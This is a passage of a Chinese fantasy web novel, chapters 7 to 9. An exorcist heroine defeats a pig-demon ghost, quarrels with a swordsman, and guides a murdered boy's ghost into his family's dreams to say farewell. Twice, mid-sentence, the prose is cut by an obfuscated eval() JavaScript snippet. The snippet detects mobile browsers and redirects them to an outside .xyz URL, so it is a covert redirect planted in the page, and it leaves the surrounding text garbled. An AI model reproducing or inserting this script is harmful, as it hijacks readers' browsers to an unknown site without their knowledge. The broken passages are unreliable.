“我知道!”边镶红立马接过话头,“你只不过是想把你们家搞得鸡飞狗跳而已!我还知道你想到了来福的五只小猪崽才动手的。” 小雨看了一眼边镶红,明白了她的意思。她喝了那杯茶,放下茶杯,双手放于双膝,“那麻烦人美心善的边姑娘超度我吧!” 边镶红食指和中指都蘸了茶水,洒在小雨的脸上,“天灵地灵,山有青叶,清心宁神,香入幽冥。”③水珠很快泛起金光,金光由上而下包裹住她全身,小雨的灵魂逐渐上升。 “谢谢你!” 边镶红摇摇头,“速去!” “小雨!”房门忽然被打开,一道白色身影闪现到小雨的座位旁,“小雨!” “再见了,林瑶!” 7. 第 7 章 小雨的灵魂化成一阵风,吹向了窗外,消失在夜空中。 “来福这个名字挺好的,你为什么要改名字呢?” 林瑶低头看着边镶红,扭动了一圈脖子后,杀气蒸腾,作势要扑上去。 “等会!”边镶红伸手制止,“我茶具还没收,稍等片刻。” 林瑶闻言怒气飙升,一掌重重锤击下去,她竟然还想着收茶具。 边镶红在那一掌落下来之前,一脚将桌子踹开了,桌子往窗户旁稳稳移动。她一拳直直打向林瑶的脸,竟然敢坏她茶具! 林瑶急速往后仰,边镶红已经脚尖轻点飞身起来,两小腿如鼓槌打鼓般重重击打着林瑶的身体。林瑶不断后退,退到房门边时,边镶红左小腿再用力一踹,林瑶被门槛绊倒,仰面直直摔倒在地。 哐当一声巨响。 小灰驴又嘤嘤叫了一声。 边镶红一把抓住林瑶的领子,往走廊尽头的窗户飞出去,房门和窗户都关上。大半夜,不能扰民。 今夜月明适合收妖,边镶红甩开手,林瑶又摔在地上。 “你把小雨怎么样了?”林瑶站了起来,恶狠狠地盯着边镶红。 “我超度了她,她现在应该到了幽冥,等待接受审判,偿还罪孽,然后投胎转世。” 林瑶的担忧成真,肝火焚烧,她大喊,“你凭什么超度小雨?” 边镶红看到林瑶身上燃烧的怨念,果然如她猜想那般,她才是导致青云镇乌烟瘴气的罪魁祸首。 “凭你这只猪妖害了她的生命,还不让她投胎转世,哄骗她跟你霍霍青云镇,她心地善良本来有点阴德的,现在全变成罪孽了。” 边镶红在小雨的梦里看到了林瑶,她是一头野猪,掉进了猎人设置的陷阱里,被尖刺刺穿内脏,流血过多死了,但直到她的尸身腐烂不堪后,猎人才想起来,但她的肉已经不能吃了。猎人嫌弃惋惜后走了,他没想着填埋掉这个陷坑。小雨差点也掉进来,她看到了林瑶,她说了一句“可怜的小猪!”她挖了很久的土,才将坑填上了,并朝那里拜了三拜。 林瑶开始跟着她,她家里也有一头猪,她对她很好,每天割新鲜的猪草喂它,打水给它冲澡,还会抚摸它跟它聊天。可是来福早死了,生猪崽的时候难产死了,可是小雨趴在它身边哭得撕心裂肺,少女柔软的心肠让林瑶也流出了眼泪。所以她附身在了来福身上,变成了小雨的来福。 小雨每天割的猪草不算很好吃,林瑶不喜欢,所以她自己上山找吃的,小雨以为它跑了,在山上找了很久,然后安慰自己说没找到也好,这样来福就不会被杀掉了。但是林瑶叼着一只野兔出现了,小雨抱着她,不断和她道歉,说不该让她饿肚子吃不饱的。 那五只猪崽被杀的时候,林瑶没有特别难过,但是小雨抱着她哭得很伤心,她饿晕了几次,甚至和她一起吃猪草。她上山费了很久功夫才找到几颗野果,小雨还给她留了两颗。 小雨知道她不会乱跑后,很喜欢带她去溪边洗澡,看她游泳,村里的人都笑她跟一头猪那样亲近,是不是每天都跟猪一起睡觉,臭烘烘的才经常带猪去洗澡。小雨不介意她们的风言风语,每天都会温柔地抚摸她。 “你杀了她!”林瑶愤怒无比,她化出原型,一只体型硕大的黑色山猪,四肢粗壮,背脊上的一排密集针毛在月光下闪着银光,她吸了吸鼻子发出一声哼叫,然后急速径直向边镶红撞击过去。她要杀了她! “别乱说话,是你自己亲手扼住小雨的脖子,导致她窒息而亡的。” 边镶红还真没跟猪打过架,她刀呢,很好,没带出来,那就空手博猪了。她在猪鼻子快顶飞她的那一瞬间,侧身躲过,双手交叉抓住两只猪耳朵,翻身骑在猪背上,双脚用力踩在猪的脊背上。 林瑶背脊上金光铺展,边镶红的鞋面上画满清心符,“朱光青烟,清心驱邪。”清心符能消除一点林瑶身上的怨念,削弱她的力量。她随即双手奋力往后拉扯猪耳朵,紧急帮林瑶刹住了猪脚。 林瑶耳朵快被撕裂吃痛,疯狂左右摇晃想要甩飞边镶红。边镶红有了驯服小灰驴的经验,这会能纹丝不动了。林瑶怒而冲向大树,侧身砸在树干上,想将边镶红砸向树干。 边镶红知她意图,松手后借着惯性往前跑,踩踏着树干一个后空翻稳稳落地,看着林瑶后背砸树,猪皮糙肉厚应该不疼。林瑶果真不知疼痛又爬起冲撞了过来,边镶红先是站着不动,然后找准时机,一个旋转侧踢,将林瑶踹翻倒地。 “虽然你是厉鬼,但你打不过我的!”边镶红双手抱胸。 林瑶摔倒在地,她抬头看了一眼边镶红,化出人形,站了起来,“是吗?满怀怨念的厉鬼会打不过人吗?”说完她口腔里的犬牙迅速生长出来,长到七八寸的时候,她毫不犹豫地折断了两颗犬牙,这是把牙齿当利剑了。 边镶红看着有点牙痛,伸脚一踢一段树干弹起,她伸手接住,长度大概十寸左右,权当是她的小刀了。 林瑶见此更加气势汹汹冲刺过来,一只短剑防守一只进攻,那段树干在边镶红的手上舞出无数残影,她精准灵活地躲开林瑶的所有攻击,还不断地她身上画清心符。 两人搏斗了近半炷香的时间,林瑶还是没有刺到边镶红,她愈加愤怒疯狂,怨念还是能不断地生长,她出招更狠厉快速,专门攻击边镶红的脖颈,她知道那里最脆弱、最致命。 边镶红假装护着脖子后退,等林瑶专注攻击她脖子时,猛然伸腿朝她肚子上连踹几脚,再一个侧踢狠狠将林瑶踢到在地,这会她用上了全部力气,她自己都觉得脚疼。 林瑶按着肚子,马上站了起来,是她小看了边镶红。她闭上双眼,意念集中,双手合十置于胸前,低头默念,然后抬头睁开双眼,双章掌心朝外甚至,收回右手后迅速出掌叠加在左手上,无数张牙舞爪的鬼魂齐齐冲向边镶红。 那些鬼魂黑烟弥漫,目光空洞,不是有意识的冤魂,林瑶这两年在青云镇收集的冤魂, 边镶红眯眼,林瑶终于用上这些冤魂了。她割破右手食指指腹,在木棍上画上安神符,然后高高举起那段树干,双手紧握,竭尽全力砍下去,“我有神功,开天辟地。” 金光如以排山倒海之势能吞噬掉一切冤魂,巨大的能量如惊涛骇浪向四周扩散开出,树林里鸟雀惊飞啼叫。 边镶红手持木棍,在无数纷飞树叶中冲向林瑶,专打她的手脚两处。 林瑶意外她收集的五十只冤魂竟然伤不了边镶红分毫,还被她追着打,她力不从心,又被边镶红一棍子打在面门上,从空中摔落在地。 “咦!”边镶红刚在林瑶身上画完最后一道安神符,还没念咒语,就看到不知从哪里飞出一道白色身影接住了林瑶。他们两人翩翩降落,衣袂飘飘甚是好看。 林瑶竟然还有帮手!她竟然没算出来,失策。 边镶红落地,月光照在了来人脸上,她快速一棍子狠狠打过去。但那人反应迅速,搂着林瑶侧过身去躲过了攻击。这不是在做梦,边镶红收回木棍,刚要开口。 就听见那人开口大骂,“你这个持强凌弱的宵小,狠毒至此,我与你素不相识、无冤无仇,你竟然也想杀我灭口!”他转过身来,用手指着边镶红,“你蛇蝎心肠,丑陋无比,看剑!”他掏出了腰间的长剑,奔袭而来。 边镶红忍不了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534552|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点,这个混蛋不知前因后果,就如此辱骂她,她握紧木棍迎面而上。两人随即厮杀在一起,边镶红招招快准狠,刚刚没用上的三步剑法十招全部用上了。结果发现这人剑法不赖,他竟然能见招拆招,明明刚开始她占上风的。只恨三步剑法只有十招!她深吸一口气,开始变换剑招顺序,出剑越发快速,趁对方拆招时,以“开天辟地”一砍,将定神符贴在对方头顶,定住他。 一切如计划进行,那人停了下来,边镶红舒了口气,这鬼虽是林瑶帮手,但没有怨念萦绕,不算冤魂,等会再超度他。 然后就看到那人揭开了自己额头上的符咒,拿在手上看了看,“这是什么?” 边镶红这会真的瞪大了她的眼睛,肯定比铜铃还圆,她的符咒从不会失效,她的火眼金睛从不会看错任何妖魔鬼怪,“你竟然不是鬼?” 那人将符咒一扔,怒目而视,“你才是鬼,我岩正山是活人,大大的活人,你才是鬼!你全家都是鬼!” 哦豁,边镶红迅速镇定下来,“我不是,但我全家的确都是鬼!”她的符咒和火眼金睛没问题,是岩正山有问题,他一个人剑法怎么会这样好!这不是个普通人,名字也不普通,岩正山,这名字的确有点浩然之气,但做人怎么这么是非不分,不变善恶呢!竟然骂她! 岩正山愣住了,看了一眼边镶红,低头嘟囔了一句“对不起!” 边镶红有点意外听到这个道歉,但还是生气,“你不是鬼,干嘛阻止我抓鬼!” “我哪有!”岩正山大声否认,然后反应过来,木楞地转身,看到了和她一样一身白衣的林瑶。她此时面目狰狞,全身都被金光束缚住,金光在燃烧,她不停抽搐,他在月光下能看到黑烟不断从她身体里逸散出去,伴随各种凄厉叫声。 “鬼、鬼啊!”岩正山失声大喊,一溜烟跑到了边镶红身后。边镶红立马侧开身,让他再次直面林瑶。原来这是个本想路见不平拔刀相助的胆小人。 “哎呀,大侠,你怎么躲在我这个持强凌弱、蛇蝎心肠的宵小背后呢!你应该再去英雄救鬼的。”边镶红大方地伸出手,“请岩大侠救厉鬼!这可是杀过人的厉鬼,厉害的咧!” 岩正山闻言瞪了一眼边镶红,她好记仇!他还没动作,就听到对面传来更加凄厉的叫声。林瑶撕裂金光,径直冲了过来,边镶红一边扯过他,提着木棍再次冲上去。他被甩在一边,看着边镶红的身影,有点疑惑那女子是在保护他? 边镶红不想着林瑶怨念这样深,她一边凌空画符一边念道:“天九地九,金光养生,三魂永久,魄无丧倾。”安神符对林瑶已经不起作用了,只能用安魂符销毁她了。在封印白荼以后,不消耗掉太多修为,边镶红也能熟练画出安魂符了。 安魂符落在林瑶眉心,她的身体坠落,她倒在地上发出愈加凄惨的哀嚎,“小雨!小雨!” “你既然喜欢小雨,就不该杀了她,也不该收集那么多冤魂想要将她变成厉鬼,你罪孽太深,我不会超度你的,我只会直接烧毁你的魂魄。” “小雨!小雨!”林瑶还是一声声呼唤着。 “假以时日,等你领悟爱的真意,你的三魂七魄归位,你可能会遇到小雨!”边镶红闭上双眼,“青青幽灵,混混虚无。急急如律令,破!” 林瑶身上的金光燃烧的越加迅速,很快只剩一团青烟上升至天。 树林里一片安静。 “所以爱的真意是什么?” 边镶红猛然睁开眼,被这声音吓了一跳,她忘记了这里还有一个人,嘴毒的活人。她转过身去,看着有点熟悉的脸庞,深呼吸,气沉丹田,字正腔圆地喊了一句,“滚!” 8. 第 8 章 此女子粗鲁无礼,竟然屡次对他口出狂言,岩正山气呼呼,正要上前理论,就听她大喊一声“小灰!”然后疾跑,很快翻身上马,不,上了一头驴。她转过头来,扮了个鬼脸,“深夜的树林,冤魂最喜欢出来了,大侠记得英雄及时救鬼哦!” 岩正山闻言怒气飙升,她又在嘲笑他。他朝着她大喊:“等一下!” “小灰,我们回去睡觉!”边镶红笑得很大声,一点都不理会岩正山的呼喊,小灰也疾驰起来。 “你给我停下!你这个坏女人!”岩正山真的生气了,他急速奔跑起来,他一定要找她理论清楚,要为自己正名。但是他只听到了一阵愉悦的笑声,他在黑夜的树林里已经看不到驴屁股了,他们家养的千里马估计都跑不了那么快!对了,他的马呢?“追风!”他再次大喊,“追风!” 黑夜里响起了追风嘶鸣的声音,岩正山寻声辨位,踩着树枝在树木之间快速穿梭,很快与追风汇合,一把跳跃到追风身上,双腿夹住马腹,拉了拉缰绳调整位置,“快追,我带你去看一头很会跑路的毛驴。” 追风闻言,立即快速奔跑起来,不一会儿便跑出了树林,他终于看到了那一人一驴的身影,“追风,再快点!那头驴是母驴可漂亮了!” 小灰没听到,不然一定踹岩正山两脚,瞎说什么胡话!但是追风听到了,他更加卖力地疾驰起来,还不忘嘶鸣两声。 边镶红立即回头,这个胆小鬼骑马在追她!几个意思,还想打一架啊!可是现在戌时末了,该睡觉了,不适合打架,可是他剑法好像不错,棋逢对手,切磋一下也不错。她勒驴,“小灰,先等会,等姐姐我打完一架再回去。” 小灰慢慢停了下来,往后侧头,大大地吐了一口气,边镶红闭目屏息,味道散去后,才摸了摸小灰的头,“乖,我们小灰最乖了,姐姐明天一定给你加餐!现在太晚了不能吃宵夜,会积食的。” “嘤嘤”小灰叫了两声,那就是同意了。边镶红梳着小灰背脊上的毛,“不过,小灰啊,你真的只是一头驴吗?你可是一直都在看戏,还给我喝彩呢!”小灰立即甩了甩脖子,佯装不知。边镶红笑了,爱看热闹是吧,下次一定让它看个够。 岩正山看到前面停下的人,有点惊讶,不会有诈吧!但追风刚跑到小灰驴前面时,他看到了边镶红的笑脸,她笑起来竟然有点好看,岩正山疯狂甩头,错觉。 “你这个胆小鬼干嘛这么不依不饶!”边镶红收起笑脸,低头看了一眼那匹马,浑身雪白,毛发油光发亮,跑了这么久也不喘大气,忍不住赞道:“好马!”又怕小灰吃醋,立即俯身摸了摸小灰,“但小灰你更厉害,你才是天下第一快的驴,它跑不过你!” “你胡说,千里马怎么会跑不过这头毛驴!”岩正山本来因为边镶红称赞了一句追风,不那么生气了,现在又来贬低了追风,那就是贬低他。 边镶红很想踹他几脚,“来吧,出剑吧!”还好那根木棍还没扔,她握着木棍气势如朝阳东升。 “我不是要找你打架的!”岩正山看边镶红那模样,敢情她停下来是要和她打架的。“我只是想要说明,我岩正山向来明断是非、惩恶扬善,知错能改,所以刚刚误会你,对不起!但是你这个人也太野蛮、小心眼,还嘲笑我,你也要跟我道歉。还有,我不想和你打架,因为你打不过我!” 很好,本来听着还有点道理,但边镶红被激怒了,“你个胆小鬼,不知天高地厚,竟然以为我三步山边镶红打不过你这个凡人!”她说完立即飞跃起身,冲了过去,一定要把他打趴下! “边镶红?”这个名字好奇特的,岩正山嘟囔一声,就看到她脸色很不爽,哼,她就是打不过他啊!她已经飞跃冲刺过来了,他顺手抽走马背上一把木剑也飞身上前,两人一来一往打得昏天暗地,不知疲倦,一时间分不出胜负。 追风一点点靠近小灰,小灰正看着边镶红两人比拼,被追风的靠近吓一跳,立即扬起前蹄,“诶诶诶!”表示它滚远点。追风不曾亲近过驴,毕竟小灰一点点都不像它从前见过的灰驴,它不懂小灰的意思,又靠近一点。小灰立即扬蹄踹它,追风反应迅速,躲过了攻击。 等小灰回过神来,看向边镶红他们,发现旷野寂静,他们不知所踪。“嘤嘤嘤嘤!”小灰仰天长鸣,没有得到回应。 边镶红也不知道她和岩正山打着打着就被拉进了某个梦境,她重心不稳跌在岩正山身上,不算太狼狈,她立即爬了起来,居高临下、幸灾乐祸道:“知道这哪里吗?我刚刚不想理你是因为我身边尽是些冤魂厉鬼,怕吓死你,你倒好,上赶着来体验神奇世界。” 岩正山吐出一口气,立即爬了起来,亏他在异象发生时拉了边镶红一把,给她当肉垫,她还在取笑他。他大力拍了拍衣服,想要提醒她她刚刚护着她,“哼,你也太小看我了!我可是山南国第一命好运好的天之骄子,逢凶化吉那是我的天赋,厉鬼遇到了我也得绕道而行。” “吹牛皮的鬼我见的多了,这么会吹牛皮的人我可没见过,还山南国第一命好运好的天之骄子!年轻人,我劝你谨言慎行!”边镶红说完迅速伸手转动岩正山的身体,让他背对着她。果不其然听到了岩正山惊呼,“鬼啊!” 边镶红哈哈哈大笑,她刚放手就被岩正山大力拉扯着往前倾倒,实打实地撞散了那只冤魂。 “哈哈哈!哈哈哈!”岩正山看着身体弯曲还没战起来的边镶红放声大笑,“鬼啊,第二次见就不可怕了,鬼哪有你边镶红可怕呢!” “哈哈!”边镶红慢慢起身,“那你真的好厉害哦!”她伸手要结印召唤梦灵去吓死岩正山,但那只冤魂说话了。她一下子忘记她还在梦境里。 “边姐姐,我能这样叫你吗?”边镶红点点头,那冤魂继续说道;“对不起,我是贸然把你们拉进我的世界,真的对不起!但我真的需要边姐姐你的帮忙,也只有边姐姐能帮我,来世我陈二娃一定当牛做马报答边姐姐恩情!”陈二娃跪下哀求,边镶红来了青云镇后,他一直跟在她后面,本想着晚点回了客栈在求她,可是她又和岩正山打了一起,他的事不能再拖了。 “求二位施以援手!” 这是边镶红第一次见到怨念深重但没有恶意的冤魂,他身上还有点功德,也有点礼貌,怪不得她察觉不到他的靠近,还被拉到他的梦境,这山下的冤魂、厉鬼和山上的咋不一样呢!都这么主动啊! “你起来,你这是道德要挟我!”边镶红不喜欢这样的做派,有事说事,别这样跪啊拜的,她又不是神明。 岩正山本来还想吐槽“陈二娃”这个名字,瞥了一眼边镶红,她神色有点不自在,一定没人跪过她,有求于人跪一跪拜一拜怎么了。还有他仔细想了想,他是被顺手拉进来这里的,陈二娃要拉的人只有边镶红。 陈二娃站了起来,“我无意以道德要挟二位,只是我真的无能为力,才想借助二位能力。” “帮,你的忙,我们一定帮!”岩正山拍胸应承了下来,竟然他无辜被牵连了,那就趟趟浑水啊! 边镶红不理解他一个胆小鬼哪来的信誓旦旦,“什么叫我们,我和你什么时候是我们啦?” “而且,你刚刚还发抖呢!你就是怕鬼,还帮忙,你知道人家要你做什么吗?你就敢应诺,你从小到大到底吃了牛皮,这么会吹呢!” 岩正山站直了身体,正眼看着陈二娃,“边镶红,你别乱说,我才不怕。”其实他还是有点怕的,这只鬼比刚刚那只还要恐怖一点,应该死了更久,浑身上下歪七扭八…不能再看了,他立即转身看向她,眼睛和大脑不那么难受了,“你不是专门超度鬼的吗,现在见着冤魂,你要袖手旁观?” 边镶红对着前面这么一大活人,大声鄙夷了一句,“哼!”她知道他就是害怕,但的确她不能袖手旁观,谁会嫌弃功德多多啊!她神开手撇开岩正山,上前一步,看着陈二娃,“你想让我干什么?” “边姐姐,我知道你能操控梦灵,只要你愿意你也可以看到我的生前。我想让你带我去我父母梦里。我父母他们依旧坚信我还活着,还在到处寻找我,没有帮我立衣冠冢,没有祭拜过我,所以我没有办法给他们托梦。” “你为什么能看到他生前?他生前是怎么样的?为什么会和家人离散?不给王者立坟,亡魂就无法给生者托梦吗?”边镶红还没说话,岩正山一连串问题先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈二娃虽小也知道他要活下去,活下去才能回家,他用尽力气艰难生存了下来,在十五岁那年,开始逃跑回家。可是他体质太虚弱了,群山太高耸陡峭了,他迷路了,攀越不了高山,又遇到了来抓他的老光棍,他想跑,但是脚滑了摔下了悬崖。在陈二娃掉入悬崖底的那一刻,边镶红拉岩正山回到了第一个梦境。 岩正山大概也猜出了后面的故事。陈二娃死了变成了冤魂,终于回家了,可是家没了。 “我死后回到了家乡,我大哥因为太过自责没有照看好我,疯了。我的父母带着他到处寻找我的踪迹,他们乞讨为生,颠沛流离。我在他们面前又哭又喊,叫他们不要找了,回家去吧,可是他们看不到。我又回到那个山村,我要杀了那个凶手,我摔死之后,他被吓到也摔了一跤,伤的很重,爬着回到了家里,他快死了。所以我去找那个人贩子,他竟然还在继续拐卖小孩子,我在他家放了一把火,特地指引官兵发现他家的地窖,救出了那些儿童后,我加大火力要烧死他。可是下雨了,火熄灭了,他被抓起来。” 边镶红知道这就是他身上功德的来源了,那场雨估计也是天意在提醒他。 岩正山想起来前几日听到的案件,“所以白水镇的人贩子的案件是你帮忙抓捕的。” 陈二娃点头,语气悲伤,“我又回到了我父母身边,我想给他们托梦,叫他们回去,我还想唤醒我大哥的神智。十年了,他们都老了,应该回家乡去。可是我做不到,所以边姐姐,求求你帮帮我,让我跟我的家人见一面,我想跟他们好好道别。” 岩正山看了一眼边镶红,她的眼里竟然有点亮晶晶,那是泪光,他立即转过身去当做没看到。 “抓住我的手!”边镶红的声音变得庄严起来,岩正山转过身来,想要明确拒绝,他们今晚第一次见面就牵两回手成何体统。但他看见陈二娃抓住了她的掌心,不是对他说的。又见边镶红闭眼念:“明月清风,带我入梦。”两人瞬间消失,应该进入了陈二娃的梦境。 竟然不带他一起!岩正山真想在边镶红的胳膊上打一掌,他看着边镶红的左手,手比脑子快,抓住了她的手,“明月清风,带我入梦。” 9. 第 9 章 “爹,娘!”陈二娃哭着跑了过去,却不敢大力摇醒陈山和李淑。 这里是一座破庙,荒草丛生,屋顶残漏,腐朽的木头碎屑飞扬,但它此时为这个家庭的庇护所,能为他们短暂地撑起一片天地。 边镶红左手一挥为他们升起了一个小火堆,就发现自己的左手好像拉着什么重物一样,她将手挪到跟前想要看清楚,忽然她的手上生出一只手,手指修长且骨骼分明,手背上还有热度传来,她抬头就看到了岩正山笑得很开心的脸,她立即甩掉,反手掐住他的脖子。 “你怎么会出现在这里?你到底是谁?”边镶红手上用力,神情严肃。 “你疯啦!快放手啊!”岩正山双手胡乱掰扯着边镶红的手,她真的好用力,他有点呼吸不上来了,“啊啊!我念了你的咒语!” 边镶红见他神态不似作伪,岩正山被憋得满脸通红,也没有激发出什么怪异的气息,她放开了手,看来他是真的有点气运在身上的,入梦的咒语只说一遍竟然就能驱使梦灵进入别人的梦境,那些梦灵也太听话了。 “你到底是胆小鬼还是莽夫啊!手无缚鸡之力还敢硬闯别人的梦境,找死自行了解,少来打扰我!” 岩正山解了禁锢,气管和喉咙还是有点难受,他还没发飙,也没得到边镶红的道歉,就又听到她的一堆数落,他好生气,也说不出话,只干瞪着边镶红,使劲用眼神在骂她,她干嘛反应这样激烈,小惊大怪的。哼,他迟早也要掐回去,两只手一起掐。 “你还有理了,还敢瞪我!”边镶红恶狠狠地再瞪回去,“信不信我把你扔出去。” 岩正山立即摇头,动作有点大,他的伸手护住脖子。边镶红又伸出手,岩正山立即后退一步,她再瞪着岩正山,他一动不敢动,她右手拿开了他的手,轻轻抹过去,“消!” 岩正山看不到自己脖子上闪现的绿光,但他很快感到了凉意,他脖子上和喉咙里的不舒服全部消失。他刚要开口,就被边镶红先发制人,“安静看着!”她刚要转过身去,就发现又被岩正山拉住了手,她皱眉刚要甩开。 岩正山已经快速放开了,他不爽,他都没排斥她的亲近,她竟然嫌弃他的触碰!但还是靠近一步小声问道:“那他们会发现陈二娃全身冰凉凉,已经死透了?”现他在看到的陈二娃就是一个清秀但瘦弱的少年,跟刚刚见到的可冤魂完全不一样。 “不会,我造的梦境,就是现实!”边镶红自豪地转过身去看着陈二娃一家,但还是觉得奇怪,岩正山这个什么都不懂的凡人,竟然进了入了她的梦。 陈大娃被吵醒了,他侧着头沉默地看着陈二娃,他的右脚被一条长绳绑着,另一端在陈山的脚上。 “爹,娘,是我,我是二娃啊!我是二娃啊!”陈二娃跪在陈山夫妇面前,痛哭流涕。 陈山夫妇从睡梦中醒来,呆愣了片刻,他们在摇晃的火光中看到了陈二娃的模样,李淑一下子就扑了上去,她伸手摸着他的脸,“二娃?”她摸到了了左眼眉毛尾端的伤疤,“二娃!”她紧紧抱着陈二娃瘦弱的身躯,一遍又一遍呼喊他的名字,“二娃!二娃!二娃!娘终于找到你了,终于找到你了!” 陈二娃被李淑抱着,感受到了母亲身上传来的令人安心的温暖,带着香气,像小时候那般,她一下一下轻轻拍着他的后背哄他入睡,他又喊了一声“娘!” “二娃,真的是你吗?”陈山知道那是陈二娃,他太惊讶了,他木讷的性格让他的表达滞后,行动迟缓,所以还是问了一遍。 陈二娃看着陈山,努力点头,喊了一句,“爹,真的是我回来找你们了!” “对不起,对不起,我现在才回来,对不起!” 李淑立马放开陈二娃,捧着他的脸,一字一句认真否认:“不是的!不是的!二娃,是我们不好,是我们没有照顾好你,才会让你被拐走,对不起,孩子,对不起!”她一遍遍摸着他的脸,从脸庞到身体,他太瘦了,他在外面一定没能吃过饱饭,他一定是吃了很多苦才找到了他们,他们没有先找到他!她泣不成声,但是不断道歉,“对不起,二娃,对不起!” 陈山扑过来紧紧抓着陈二娃的手,“二娃,二娃,我们终于找到你了!” 陈二娃拼命摇头,“不是的!爹、娘,不是你们的错,不是的!” “大娃!那是大娃!”陈大娃指着陈二娃,忽然出言,他爬到陈二娃跟前来,“你是大娃,你长得和我好像!所以你是大娃!” 陈二娃看着目光明亮却呆滞的陈大娃,哀求道:“大哥!大哥,你醒醒,我是二娃,我是二娃啊,你不要再怪自己了,不是大哥的错,不是大哥弄丢我的,不是的!大哥!” 陈大娃伸手摸了一把陈二娃脸上的泪水,然后拍拍手,“眼睛里流出的水叫泪水,泪水是咸的,咸咸的小孩子看起来脏脏的,好丑。” 陈二娃的眼泪流得更加汹涌,陈大娃记得,那句话还有下一句,所以小孩子要笑,笑起来跟吃了糖一样,甜甜的。小时候他爱哭,陈大娃就会这样跟他说。 命运就是那样可怕,吃了一口糖,尝到了甜滋滋的味道后,用一生苦涩偿还。陈二娃抓住他的手,“大哥,我是二娃啊!我回来了!” “二娃,二娃!二娃!”陈大娃突然边大力捶着自己的脑袋,边大叫,“二娃!二娃!二娃!”他随即站起来往后跑,“二娃丢了,二娃丢了,我把二娃弄丢了,爹、娘,我把二娃弄丢了!我要去找二娃,我要去找二娃!”他跑到很快,陈二娃一下子没抓住他,绳子拖着陈山移动了好几米。 “大哥,”陈二娃紧紧抱住陈大娃,“不是你弄丢我的,不是的,大哥,我是二娃啊!你看看我!” 李淑连忙扶起了陈山,他的背后血肉模糊了,她擦掉眼泪,望着两兄弟,“大娃,二娃回来了,你弟弟回来了!你醒醒啊!”这个噩梦到此终结,不要再延续下去了。 “弟弟?”陈大娃逐渐平静下来,他看着陈二娃,“你是二娃?”他伸手去摸他的脸,捏了捏他的鼻子,又扯了扯他的脸颊,眼睛逐渐定焦,眼眶里慢慢溢出泪水,“二娃,二娃!”他超级大声地哭喊着,“二娃!” 陈二娃紧紧抱着他,“大哥,大哥,是我!” 一家人紧紧拥抱在一起。 岩正山侧过头去,偷偷擦掉眼泪,转过身来就看到边镶红在看他,“哭吧,多哭点,有人为他们流泪总是好的!”他看到她的眼神没有伤感哀切,她不为他们而难过惋惜吗? 因为超度鬼魂的职责,她见多了悲欢离合,所以淡然处之吗?岩正山忽然想起边镶红说自己全家都是鬼的样子,她没有家人陪伴,骨肉至亲、血脉相连的羁绊,她是不是不太能感受到? 边镶红看着奇奇怪怪的岩正山,有点无语。对面陈家的哭声也逐渐弱了下来,他们一家人团圆了。 “二娃,我们回家,明天一亮我们就回老家去。”陈山抓着二娃的手,“我们回家去,我们家的地还在,你大伯他们一家先帮我们种着,我们回家种地去,现在你大哥也清醒了,我们努力伺候田里的庄稼,攒够了钱我们盖大房子,给你和大娃娶媳妇,我们一家人一直住在一起再也不分开。” 李淑也点头附和,“对,我们回家,天快亮了,我们现在就回家去。还有,二娃,我们给你和你大哥都取了名,你大哥叫陈平,你叫陈安,平平安安,我们一家平平安安过日子!” “陈平、陈安,平平安安,我很喜欢这个名字。”陈二娃指了指陈大娃,又指了指自己,他连连点头,他有了大名了。 陈大娃也点头,他听过很多遍自己的名字的,现在终于记住了,“我是陈平,弟弟是陈安。” 陈山和李淑都笑着流泪,李淑拉着陈二娃的手,“对,平平安安!那我们回家,娘给你们煮好吃的,平平喜欢吃饺子,安安喜欢吃包子,娘都给你们做。他爹,快把绳子解开,我们现在就出发!” 陈山和陈大娃蹲下去解开绳子,李淑紧 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陈二娃轻轻拍了拍她的后背,像小时候那样,一下又一下,“娘,对不起了,小时候说长大要给娘买好多新衣服穿的承诺不能实现了。” “大哥!”陈二娃靠在李淑的肩膀上,喊住了陈大娃,“大哥,你不能再这样自责下去了!你要好好照顾爹娘,帮我好好照顾爹娘,带爹娘回家去。不要再流浪了,大哥!” 陈大娃双眼发直,已经有点意识不清了,他木楞地看着陈二娃,缓慢地摇着头,“二娃,回家。” 陈山抓住了陈大娃的手,又伸手抓住陈二娃的手,“我们回家!” 陈二娃从李淑的怀里消失了,陈山的手落下,他后退了几步,拉开了距离,“爹、娘、大哥,我已经死了,我今晚来找你们,就是想和你们告别,想让你们回家去,不要再找我了,你们该回家了。” 李淑看着自己空荡荡的双手,又再次冲上去要抱住陈二娃,但扑了空,她抱不住她的孩子了。 “娘,我跟在你们后面的时候,总是在想如果爹、娘知道我已经不在了,会不会想大哥那样垮掉?我到底应不应该告诉你们?” 陈二娃重新抱住了李淑,“娘,我犹豫了很久,最终决定我一定要亲口告诉你们,我不想爹娘和大哥这样到处流浪了,不要再吃苦了,我想你们回家去,回我们那个小小的房子里面去。你们要在那里长长久久地生活着,等到时候到了,在从那座房子里离开,这样我就一点点遗憾都没有了。所以爹娘和大哥,不要太过伤心难过,我只是先走一步,留你们守着那座房子,守着我们的家而已。” 李淑靠在陈二娃的肩膀上哭得很伤心,“二娃!” 陈二娃知道这就是答应了,他放开了李淑,向他们一个一个道别,“大哥,你一定要照顾好爹娘。爹,你一定要照顾好娘。娘,不要哭了。我要走了!” 边镶红从袖子里掏出一支新鲜的茶叶,扔向陈二娃。 岩正山看到了那是标准的一芽二叶,茶叶融入了陈二娃的灵魂里,又听她念道:“青青叶,青青芯,芯叶相连,神魂相牵,了无遗憾,自去黄泉。” 陈二娃身上开始金光萦绕,“回家去吧!”陈山三人流着泪点了点头,不敢哭出声来。 